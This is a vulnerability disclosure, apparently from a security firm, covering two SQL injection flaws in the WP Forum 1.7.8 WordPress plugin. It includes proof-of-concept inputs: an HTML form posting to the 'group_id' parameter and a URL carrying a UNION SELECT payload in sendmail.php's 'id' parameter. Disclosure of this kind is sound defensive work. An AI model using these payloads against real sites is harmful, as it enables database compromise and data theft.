WP Forum WordPress Plugin 1.7.8 SQL Injection

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Vulnerability ID: HTB22860  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_wordpress_plugin_2.html  
Product: WP Forum wordpress plugin  
Vendor: Fredrik Fahlstad ( http://www.fahlstad.se/ )   
Vulnerable Version: 1.7.8  
Vendor Notification: 15 February 2011   
Vulnerability Type: SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/wp-content/plugins/wpforum/wp-forum.php" script to properly sanitize user-supplied input in "group_id" variable.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
The following PoC is available:  
  
  
<form action="http://[host]/?page_id=[page_id]&forumaction=grlogin_submit" method="post" name="main" >  
<input type="hidden" name="group_id" value="SQL_CODE_HERE" />  
<input type="submit" value="submit" name="submit" />  
</form>  
  
  
=================================  
Vulnerability ID: HTB22859  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_wordpress_plugin_1.html  
Product: WP Forum wordpress plugin  
Vendor: Fredrik Fahlstad ( http://www.fahlstad.se/ )   
Vulnerable Version: 1.7.8  
Vendor Notification: 15 February 2011   
Vulnerability Type: SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/wp-content/plugins/wpforum/sendmail.php" script to properly sanitize user-supplied input in "id" variable.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
The following PoC is available:  
  
  
http://[host]/wp-content/plugins/wpforum/sendmail.php?action=quote&id=1%20union%20select%20version(),2,3%20--%20  
  
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